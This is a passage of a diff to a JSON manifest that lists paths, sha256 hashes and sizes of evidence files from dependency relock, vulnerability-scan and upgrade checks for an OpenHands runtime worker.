"blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-installer-lock-consumers.txt", + "sha256": "aa2e7e6fee6e3182264dfbc735ab1b5ff13cb742533e8e36435fb4d9503e4e5a", + "bytes": 3028 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-maintained-jwt-callers.txt", + "sha256": "5296678744ff15c582c0a124b96a86269c42391a707eaff59ea6c28286e7030c", + "bytes": 3201 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-native-compile-help.txt", + "sha256": "8272c771ab3ecdc939cf410702e08d5ac8b59cd42191b509049b0663520edfcf", + "bytes": 12120 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-native-compile.txt", + "sha256": "fe3190bc61053e8e4fe48dde38b3b2f6ad2f402dfcfdd89d1ab3683e6cd3c39d", + "bytes": 248927 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-native-imports.txt", + "sha256": "477c405a25e4b1ef4ee5c76b1e550a0a34eefcc74bf861497ef8201a672dc713", + "bytes": 1536 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-native-pip-check.txt", + "sha256": "ab7fb266794b383e8a044606ea2e3ddc463349c485eab928a18d2ee997c093b6", + "bytes": 232 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-native-uv-version.txt", + "sha256": "0b702db49c11107d0b91e82c5383951e017f1ae993fcf68a24841f5a8d5f6598", + "bytes": 90 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-oauthlib-alias-callers.txt", + "sha256": "7e5fd6fc81d63c595e3083e01da2b700a184fcec7f7f9db6619732b494dd5083", + "bytes": 37362 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-osv-ci-config.json", + "sha256": "54345d5194d238b6017d0f3181f392109ce35023cc6b4bdfa8c134943dcb578e", + "bytes": 124 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-osv-ci-config.txt", + "sha256": "83832fb09f1d62770d7d816582db36510d2555e61880880db0b41e35f91e3295", + "bytes": 4245 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-osv-empty-config.json", + "sha256": "afad529ade6763e00b9d46db35ff6f40cc52848858b97432057f98d48a15d25a", + "bytes": 19970 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-osv-empty-config.txt", + "sha256": "abec7ffb9d6114ead2d7093b4b52f889d96ee5ea98da3dd0f9d3fe0752174908", + "bytes": 20675 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-osv-version.txt", + "sha256": "e1ecb1656b9241ee137b2610c19d972bdaba712570cc86a8883db7d2f295fb8f", + "bytes": 214 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-published-artifact-source-identity.txt", + "sha256": "9622f25bfe5b9244dd4160b7c05bedce18cde7b2e5c7562eeed76ce9787b031d", + "bytes": 3770 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-published-artifacts.json", + "sha256": "b475ffaa58caaf803bbc600712484c8a2d905904f698d06da57b06d1d46c8d0b", + "bytes": 5923 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-requirements.in.txt", + "sha256": "058d660527965a2713aaad24bc56f15e79829a37029dfa2f64f8e8fcb1e16fba", + "bytes": 326 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-reviewed-main-blob.txt", + "sha256": "9d780b5e01c1b2a36e7e2a42b12a929e97b76a0bfb9debbcbd0a8acc580c0f30", + "bytes": 106126 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-runtime-hash-install.txt", + "sha256": "e3e3d32e8e589d62680e772469f5820fa1e7e9077d457ba5c8d55f97adc5a475", + "bytes": 4636 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-selected-dependency-comparison.txt", + "sha256": "93799677e0177cfb784b6d3ce779efc5e2980a15ad71d225b627f72ffd349989", + "bytes": 66934 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-tagged-install-policy.txt", + "sha256": "0c4c7d8e6ecf05add855a03004cd9921af7a03c97d20a026cb1066dccfb05542", + "bytes": 4223 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930.json", + "sha256": "bfc988b8d619dfc03b6a19632911f931e8e09b21b5c36703c27eaa683fc51163", + "bytes": 28085 + }, { "path": "blueprints/runtime-workers/openhands/evidence/phase1-commands.json", "sha256": "cbd76e3a31da13c27566b24f6c6c083b351d2cfe7e1b140a868419ff4334ec6f", @@ -9214,6 +10239,11 @@ "sha256": "843768ab93898fbd3e41b44d388d6d1411ad5c322c482c18066c6f1dc169b7de", "bytes": 50331 }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pins-1.49.6.json", + "sha256": "c857efa5c006c709dd99cc7d5f480f9dcef649248dde89f50f8265ca80008e9d", + "bytes": 4460 + }, { "path": "blueprints/runtime-workers/openhands/evidence/publication-first.txt", "sha256": "1f8791713a42ea92c498d4f1bd352f345b3a7c6f0d5a115462cad25fdc9527ed", @@ -9224,6 +10254,326 @@ "sha256": "4c6f58444061b23b0b40dc27ffb52e3f55ffdd02e3e4195407ec57992d1e5be2", "bytes": 212 }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-actual-sdk-fixtures.txt", + "sha256": "891d87ad2c8423f2b74ce8d3f1a63dcfe25294f13dd21fa7bbc5de66893cf6a3", + "bytes": 3212 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-baseline-osv-current-config.json", + "sha256": "fa640deeb033c5478b03f14ce6e439333656279405e5db055ab8281a430ad200", + "bytes": 14545 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-baseline-osv-current-config.txt", + "sha256": "ce799e56e98ac45f51b1c2536282dc921dfcec14fbcc04af6035e3f26615a640", + "bytes": 18803 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-baseline-osv-empty-config.json", + "sha256": "a3471eeaef017e913a4035e402a111943673a181fa2c245e9ea11bad57b6076b", + "bytes": 34242 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-baseline-osv-empty-config.txt", + "sha256": "77f9b9a07f51f9000c737006c19ade784dbb35c697e8853f3e6be66116424ffa", + "bytes": 35086 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-bd1-control-upstream-test-tools.txt", + "sha256": "569b4604483c76a31e210dcc97cd2762bc6a63b54df00762d0e68faab3902511", + "bytes": 630 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-build-hash-install.txt", + "sha256": "1a6a32e0927dc554a81fd1920756f2a67fe378f44fba225b69f187a81fb8ecca", + "bytes": 592 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-candidate-native-pytest-help.txt", + "sha256": "23b64656768de639ea6b8bc26b7118a9c7f853ec40f20d23fcd87eddaf995839", + "bytes": 19013 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-candidate-osv-current-config.json", + "sha256": "54345d5194d238b6017d0f3181f392109ce35023cc6b4bdfa8c134943dcb578e", + "bytes": 124 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-candidate-osv-current-config.txt", + "sha256": "d98cab16adc610ef89904863dcf0242202ebfb70c1d2a12a23b2459b3999f038", + "bytes": 4380 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-candidate-osv-empty-config.json", + "sha256": "afad529ade6763e00b9d46db35ff6f40cc52848858b97432057f98d48a15d25a", + "bytes": 19970 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-candidate-osv-empty-config.txt", + "sha256": "040d82f1a91b191c0623252b9dc95a575a24658ca1843e5fd5548075a3d54ec3", + "bytes": 20808 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-candidate-upstream-test-tools.txt", + "sha256": "b3e831ea6e1d1cc32ef492ee6bc5405e00c7345d1e65684672a41eaf30a42b12", + "bytes": 639 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-clock-cutoff-check.txt", + "sha256": "91392e5648d2ac348f910ed4bf3de46ddf5b19f213ee61ab623dad3b7341f394", + "bytes": 218 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-commands.json", + "sha256": "f2e62c61e9e917b5d6abe023f9f2f6334e8d0736a60027195a5151cb83d90c45", + "bytes": 78402 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-constraints.txt", + "sha256": "9be46e2d3628a47ece04c39048423874badadd13e379096f6303bfefebc8f041", + "bytes": 37931 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-dependency-comparison.json", + "sha256": "ec02602c7159345da3b0bb113e3b06cb13f66b9accb4bba733d60b2a82d3c631", + "bytes": 868 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-exact-caller-and-pyjwt-static-delta.txt", + "sha256": "fc84c818132d1fab9531e0114177c3a7154960782b8eee59c80faae5364195bc", + "bytes": 13061 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-exact-lock-delta.txt", + "sha256": "7c8aefeb5429ebf15c4e54efafe083c59bde3f9b6a244b4f9328b5544e500573", + "bytes": 2666 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-fresh-venv.txt", + "sha256": "e29d9fd8ddf54224ea0c7c8347b3951f528f2616f4e7b399b74bb537433ac275", + "bytes": 551 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-frozen-inputs.json", + "sha256": "c475106cf7ce5a5de0a5db62a8b6938fd7c0d3dcad8bcfa5ffc9e1184417aa45", + "bytes": 2268 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-installed-bd1-unchanged-regression-control.txt", + "sha256": "b1f890f09595dfb43f32ace636f378bc845f0c85e091f7050e03f22e86f5ff94", + "bytes": 8517 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-installed-candidate-unchanged-regressions.txt", + "sha256": "927a12279ff97ecd9277dd408f5733c3238f80622cbdcd5ce4525f9fc5ec0e42", + "bytes": 2398 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-installed-runtime-version-inventory.txt", + "sha256": "8f312d726e1d7bfb76c38c350da2cc9ae529477124ddc816c381e97b06b37709", + "bytes": 1190 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-maintained-jwt-callers.txt", + "sha256": "ccfd1d7c537d400b7f430678043dda2b49b57a5bfb2adf09aedca37e2f1ae488", + "bytes": 3328 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-bd1-control-compile.txt", + "sha256": "28e67cda0191d8ec008e44cc14585ebd13f578d40d67a1829446081e3e7d41dd", + "bytes": 249121 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-imports.txt", + "sha256": "65ae38c5d5b78a9d49db1a9722d07680fe32934efd7cf8d47d4ea72f4e4f3ef8", + "bytes": 1982 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-pip-check-after-test-tools.txt", + "sha256": "5c255a24a423064be19e755f7dfafe0d18423467f13ad7d2a04caa04b047e3ed", + "bytes": 359 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-pip-check.txt", + "sha256": "066424201c71fcc7cd0f003da5a8758a4a1693936531aab0fd6f728793e5a3b9", + "bytes": 359 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-pristine-reproduction.txt", + "sha256": "ed94035165ae012bf277c5dc11ff04274242c070e875c8213a63cdde77165865", + "bytes": 249121 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-pyjwt-candidate-compile.txt", + "sha256": "fbca2580f1026ae7403e289361f558d98a6b3ae6bd74e508708fbeaf82dfe9ee", + "bytes": 249114 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-tox-driver-venv.txt", + "sha256": "9145a80b90bfd6a0e9f540022f3e8967985cf8be8624b168412f8c32d517d7d0", + "bytes": 613 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-tox-run-help.txt", + "sha256": "d8df693a45f7f2a6da323c67f956472a41e052bb525566ac584411ff4893d68d", + "bytes": 5387 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-tox-version.txt", + "sha256": "b07c39e550def4290546d5b61054772b5f1f980ee09e1d9af040fe53d6ea2451", + "bytes": 517 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-oauthlib-alias-callers.txt", + "sha256": "32d23e1d2b4b6327b44e5fb4fbbfccc94c33133c296b911b5399844684de67d6", + "bytes": 37489 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-osv-scanner-copy.txt", + "sha256": "e3eb88d9a28aa78000124b11ab613eb64ebd9f8a03fe7ce59ee5dc89bcab6b32", + "bytes": 240 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-osv-version.txt", + "sha256": "d99dc4aaa9ee2e777c40037e37ee43d8c9e70402b86da61753a46c36d6b7437f", + "bytes": 341 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-owned-diff-check.txt", + "sha256": "d60bd830527dd82244afeae14cda196ce4cd07d9826e1a762aa8fd7fbc48486a", + "bytes": 186 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-owned-file-publication-scan.txt", + "sha256": "4a3e416fe09a7424d47dc7f9b13905b2910bcbf752037618b411722ef14691c8", + "bytes": 8127 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pristine-and-published-source-identities.txt", + "sha256": "108f4bfb77b3100e53cf6bdb03d080556267f98f58432d1f13e7427e03e40848", + "bytes": 4016 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-file-pyjwt-2.15.0-py3-none-any.whl.txt", + "sha256": "8a5ea31cca7a21c9c96bf1068aa39a005c32d61acfea532b5455cf249c054e93", + "bytes": 424 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-file-pyjwt-2.15.0.tar.gz.txt", + "sha256": "540b3b8ed46e115f9927070df9c4492a0e8b3824853c29645c0697b50b1c99a8", + "bytes": 404 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-native-test-config.txt", + "sha256": "5522835655990357c7d10c209441f95b82271bbcbfd86d8eb56c4360837b9ebc", + "bytes": 1485 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-pypi.txt", + "sha256": "ceb456b980d874d3af84c01749e77ce8a47c3edfec26da57a57ca6d8948ef880", + "bytes": 5717 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-release.txt", + "sha256": "d4953c46b722691311d15842c8c9ac3f16e1ce4f0d3f3f0f240d71dac6ed2749", + "bytes": 521 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-sdist-extract.txt", + "sha256": "cc5f1fd77eac2cbe1bf60cab5b417c813413ba53261eff93d242388454f4c3af", + "bytes": 257 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-source-download.txt", + "sha256": "1ab4c361d45b723a1709a58777e9f32c9de80429936c983c827094eb65738385", + "bytes": 368 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-source-extract.txt", + "sha256": "acbaefe984ad11d1594074b01c826673b78b1b92c3fd4538d16332fdad71adda", + "bytes": 258 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-tag-object.txt", + "sha256": "bfeb9cf9d69bfb4090e650c6d32994b4f8fe33dc2aea7a21a0997a71d1edbe42", + "bytes": 920 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-repository-validation-before-integration.txt", + "sha256": "72a447135220f2e4e578cb81c327c7773a1c6bd6f85cfdc0f56473aa9d66784b", + "bytes": 363 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-requirements.in.txt", + "sha256": "058d660527965a2713aaad24bc56f15e79829a37029dfa2f64f8e8fcb1e16fba", + "bytes": 326 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-runtime-hash-install.txt", + "sha256": "5910f0b0cb4876ca4358ea444e6be0fd3c8e76dc8da7f0fbfb7f8acd10e15194", + "bytes": 4763 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-sdk-source-download.txt", + "sha256": "d0eef999df6805ca32d4cdecf335457d789cd2177db193d3a9dcb56b563fa697", + "bytes": 380 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-sdk-source-extract.txt", + "sha256": "77321232e78b83b2b1d4ad3500df609400f60da4b35e51a47337eea92c383e59", + "bytes": 250 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-sdk-source-repro-extract.txt", + "sha256": "67632310e39072065210809179b3c7b1318bd44be2e11360c4dc629e8971c47d", + "bytes": 256 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-source-identities.json", + "sha256": "52569c39d4d241f9cd1cdde873d2f802a824213716d4e013ecb1371ba46980ea", + "bytes": 1895 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-source-policy-and-compatibility.txt", + "sha256": "a7c5c8fe6c4ae9a92d3f1aefef7702bb52de6685bf90feddfe77a1387742a2df", + "bytes": 2705 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-tox-official-release.txt", + "sha256": "5e1e5defdbfd7d2cfc61863f0349fefa2d7d27d64c20362105549d4521281fc5", + "bytes": 918 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-tox-pypi-tool-source.txt", + "sha256": "71cbf8472151c7bd841b891003e29829749d350c919907ac1773d4c9cdf28726", + "bytes": 472562 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-unchanged-upstream-tox-regressions.txt", + "sha256": "d75d11056968ffb160194f8f9d1d318ceffb58e6e220215a71d81a4a2e24d40e", + "bytes": 2540 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-upstream-ci-tox-prerequisites.txt", + "sha256": "e2298547f6fdc7c5495eb67aa06eb5495780345b2374ab2dc477dc34e68629de", + "bytes": 3347 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-upstream-selected-file-hashes.txt", + "sha256": "a79d7e59d80e4b247a76031e5704ebae8128fff34fdffb25e0a8a73f299857df", + "bytes": 1908 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-uv-version.txt", + "sha256": "a6bd49a719d9038dd76f1ba7f2ba806145fd613e5e518f71080ff0fac74b5bbc", + "bytes": 217 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930.json", + "sha256": "1ce7403ba115e59100dea0ca6d913b978aa0fc175386b656d0e04668095acb3b", + "bytes": 53585 + }, { "path": "blueprints/runtime-workers/openhands/evidence/receipt-red.txt", "sha256": "fb365ecd833144fc3112e44373c1b152fe69298dd77b4dff388e68f70e0bf9e4", @@ -9539,11 +10889,526 @@ "sha256": "6576e0f1b0ea27a22909854a90299ffef78034239d7147629eec595f6f520de0", "bytes": 3013 }, + { + "path": "blueprints/runtime-workers/openhands/evidence/upgrade-150-artifact-hashes.json", + "sha256": "cb9f8c25ecc01899a88e9b0bb602e1c77394870967905a9e5252dca9cad4b69e", + "bytes": 5320 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/upgrade-150-build-prerequisites.txt", + "sha256": "5b361c470e75522f982b4d09d44f186a69bb887ae0c92ec0b115233cfda181e2", + "bytes": 176 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/upgrade-150-build.txt", + "sha256": "ca78b9132efc29e416bc87029698f00ac766a1051a2df9f678c3af4c37a43b19", + "bytes": 7760 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/upgrade-150-commands.json", + "sha256": "3e928781af62f6e8b3af0257bbeca958f73bde5b2aa52f0911f6af24ecb937f4", + "bytes": 8184 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/upgrade-150-integration-first.txt", + "sha256": "b36adb4cbaf5eee6f8cff2343cac6cef78cd2320479d3742500629f1bc92c8d3", + "bytes": 3453 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/upgrade-150-integration-second.txt", + "sha256": "fc945989350d2b9eb8fd63f6836bf1c97ead5faba516c0962c979b6a93e0d01e", + "bytes": 2941 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/upgrade-150-integration-tests.txt", + "sha256": "f2c6ae6e677838cd51300171aa6631841e38faeb7c1e53588744e85d68871fd3", + "bytes": 245 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/upgrade-150-native-integration-tests.txt", + "sha256": "62be69533efcffb6dc5db2249c3bf116d78b43ffb68d1d332e08b744575aec30", + "bytes": 769 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/upgrade-150-native-p3-first.txt", + "sha256": "ac16482bbce9a4b9542d27f310e722d2597fd341e678fd6653042391bc56cdd9", + "bytes": 2359 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/upgrade-150-native-profile-first.txt", + "sha256": "e0046aee002ef02746fc9c3ae5307ebe846a16c5d59419ec2cba61192482d276", + "bytes": 1639 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/upgrade-150-profile-first.txt", + "sha256": "9b282f4dfc81a8e0233af6f28dbaf3f50e5d50931687a2db01d697ed6a0f7724", + "bytes": 992 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/upgrade-150-publication-first.txt", + "sha256": "739e94ff5999e74fd8938b4792da68a9318657a9f26e5be84289c242ecfcdfb5", + "bytes": 1746 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/upgrade-150-upstream-tests.txt", + "sha256": "99e1e2a7af20af37627b7d874533a61ed740bb03ec9a45f38b732f40554d7525", + "bytes": 4557 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/upgrade-150-wheel-check.txt", + "sha256": "f1448b41f5b0d8460ab7363b70166d37b2cceeebd70559e11c2fd354d136c012", + "bytes": 127 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/upgrade-150-wheel-imports.txt", + "sha256": "8af76c229b8bb3dab63b7a095985de90fd297236e29bbdffcc16c0a2d6aaad3d", + "bytes": 732 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/upgrade-150-wheel-install.txt", + "sha256": "db9db31f6adeccbff628352ba9d4fec94743fe21c08539bec78b4e8806c6b2f0", + "bytes": 4469 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-actual-sdk-fixtures.txt", + "sha256": "14cc0a8d1751d7300dae2524d4e7838ab8a33963b01a2427a5b58bc75fc388fd", + "bytes": 3212 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-advisory-GHSA-8988-9cw3-xx77.txt", + "sha256": "fb052032fc980b4d4e96e650bc9585ade80c2e7e088af3e1247681ec71009cb4", + "bytes": 14310 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-advisory-GHSA-gh4c-6fx4-qh6g.txt", + "sha256": "90b1332fe158159b948fd56dda80014bb4408909cd9959fa6471d7b8e51be5bf", + "bytes": 7091 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-advisory-GHSA-vxq7-64xx-v4gw.txt", + "sha256": "b1e45e31e0d04f1b1e8704cbbaf018f9e20567e74a4e12c598bab2f1e17f69df", + "bytes": 5773 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-baseline-osv-ci-config.json", + "sha256": "217e7398c4f53af8f4d6cfd7eabc350b25885423bc05e519305e99795e3899f6", + "bytes": 23772 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-baseline-osv-ci-config.txt", + "sha256": "40b41feb5e27a1f8e17d1e36e4c391aec18ceab3c076117b38ee0d4f41741a4d", + "bytes": 28026 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-baseline-osv-empty-config.json", + "sha256": "5d40c9aca93da1558267305ee0d1d4a88bc09b9a1b46d8c801454d9762c66822", + "bytes": 43469 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-baseline-osv-empty-config.txt", + "sha256": "fb6f5d2a85ed9ffbc7ec86c0347d8ce83c6b2e6e687106a8359a4f02f8c07c8e", + "bytes": 44307 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-build-hash-install.txt", + "sha256": "531ca125a17fb3bc737cc1e63b8ed1b131ced2ee47821a976258a603cdba2ebc", + "bytes": 592 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-ci-config.json", + "sha256": "54345d5194d238b6017d0f3181f392109ce35023cc6b4bdfa8c134943dcb578e", + "bytes": 124 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-ci-config.txt", + "sha256": "24f0d6ce6c9a34900663a79c21d3c2118799ed6fc1d8cfe27ab1a2be13976bee", + "bytes": 4380 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-current-config-rescan.json", + "sha256": "153338dd8099c7a9b96230308fc7b072d2783257bbe96821f2a5f7e09451ba24", + "bytes": 14534 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-current-config-rescan.txt", + "sha256": "72d39a51323df0a9888c433435cb5289b7a21b91df8b857caa56ce4df9c58332", + "bytes": 18790 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-empty-config.json", + "sha256": "afad529ade6763e00b9d46db35ff6f40cc52848858b97432057f98d48a15d25a", + "bytes": 19970 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-empty-config.txt", + "sha256": "0586d512426ed14c0cba8f9ac033a1151986a67e853865628e152301600aaa4a", + "bytes": 20810 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-commands.json", + "sha256": "b577e9b013cd2e19daa197dd956baca9a1e063a3415ec4f98f7cbd01d48088b8", + "bytes": 112909 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-constraints.txt", + "sha256": "935e34547853b50ebe901a18bc054df02c3f0a6734b3dafbe6e3c654117cb21b", + "bytes": 37931 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-dependency-comparison.json", + "sha256": "f55330c05b4103f00e748ca2d54f1d20287ac39b98ed2e01b18eb3e7eb0483e4", + "bytes": 700 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-exact-caller-source-review.txt", + "sha256": "61fba571a483831412c96daa07178e8261db77f58f2d60b8e2d9ff5a276f9db2", + "bytes": 20620 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-exact-lock-delta.txt", + "sha256": "69615406cf936ee0ecaa844953620b3a1aeb059fea4f927fc5e01794a9db1981", + "bytes": 2450 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-final-owned-file-publication-scan-after-upstream-example-redaction.txt", + "sha256": "71592f600700019925c85971e2e965f1130479db6eae2bf9c985f8bd758822c5", + "bytes": 9493 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-final-owned-file-publication-scan.txt", + "sha256": "e4c3e6648209bf90f77a50d9454000310e45906f33cebbaa50f39a02d4bf23c8", + "bytes": 9463 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-fresh-venv.txt", + "sha256": "98d76e14cb8b2c2787947a82ee3d7c8b57ebb40c6e0a4ab2ea607fad5810b0b2", + "bytes": 551 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-frozen-inputs.json", + "sha256": "a02a55b19d246116312664d05e68a8182ffacff856355e2930efc89675009659", + "bytes": 2317 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-gitleaks-git-help.txt", + "sha256": "f84b66a7247f23f5f864783f8a77e31e1b1a628475b46a9e63eff9e0660b9bc1", + "bytes": 3012 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-gitleaks-version.txt", + "sha256": 